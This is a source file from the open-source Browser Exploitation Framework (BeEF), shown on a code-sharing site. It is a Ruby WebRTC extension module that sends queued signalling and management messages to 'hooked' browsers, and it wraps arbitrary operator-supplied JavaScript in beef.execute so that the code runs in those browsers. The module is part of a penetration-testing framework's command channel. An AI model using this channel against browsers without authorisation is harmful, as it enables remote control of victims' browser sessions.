Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/webrtc/api/hook.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng
8
# JS to the clients..
9
10
module BeEF
11
module Extension
12
module WebRTC
13
module API
14
15
require 'uri'
16
class Hook
17
18
include BeEF::Core::Handlers::Modules::BeEFJS
19
20
# If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve
21
# and send them to the hooked browser.
22
# Don't forget, these are signalling messages for a peer, so we don't check that the request
23
# is for the hooked_browser_id, but the target
24
25
# This logic also checks the Rtc
26
def requester_run(hb, body)
27
@body = body
28
rtcsignaloutput = []
29
rtcmanagementoutput = []
30
31
# Get all RTCSignals for this browser
32
BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
33
# output << self.requester_parse_db_request(h)
34
rtcsignaloutput << h.signal
35
h.has_sent = "sent"
36
h.save
37
}
38
39
# Get all RTCManagement messages for this browser
40
BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
41
rtcmanagementoutput << h.message
42
h.has_sent = "sent"
43
h.save
44
}
45
46
# Return if we have no new data to add to hook.js
47
return if rtcsignaloutput.empty? and rtcmanagementoutput.empty?
48
49
config = BeEF::Core::Configuration.instance
50
ws = BeEF::Core::Websocket::Websocket.instance
51
52
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
53
#todo antisnatchor: remove this gsub crap adding some hook packing.
54
# The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not
55
# Hopefully this still works
56
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
57
58
rtcsignaloutput.each {|o|
59
add_rtcsignal_to_body o
60
} unless rtcsignaloutput.empty?
61
rtcmanagementoutput.each {|o|
62
add_rtcmanagement_to_body o
63
} unless rtcmanagementoutput.empty?
64
# ws.send(content + @body,hb.session)
65
ws.send(@body,hb.session)
66
#if we use WebSockets, just reply wih the component contents
67
else # if we use XHR-polling, add the component to the main hook file
68
rtcsignaloutput.each {|o|
69
add_rtcsignal_to_body o
70
} unless rtcsignaloutput.empty?
71
rtcmanagementoutput.each {|o|
72
add_rtcmanagement_to_body o
73
} unless rtcmanagementoutput.empty?
74
end
75
76
end
77
78
def add_rtcsignal_to_body(output)
79
@body << %Q{
80
beef.execute(function() {
81
var peerid = null;
82
for (k in beefrtcs) {
83
if (beefrtcs[k].allgood === false) {
84
peerid = beefrtcs[k].peerid;
85
}
86
}
87
if (peerid == null) {
88
beef.debug('received a peer message, but, we are already setup?');
89
} else {
90
beefrtcs[peerid].processMessage(
91
JSON.stringify(#{output})
92
);
93
}
94
});
95
}
96
end
97
98
def add_rtcmanagement_to_body(output)
99
@body << %Q{
100
beef.execute(function() {
101
#{output}
102
});
103
}
104
end
105
106
end
107
end
108
end
109
end
110
end
111
112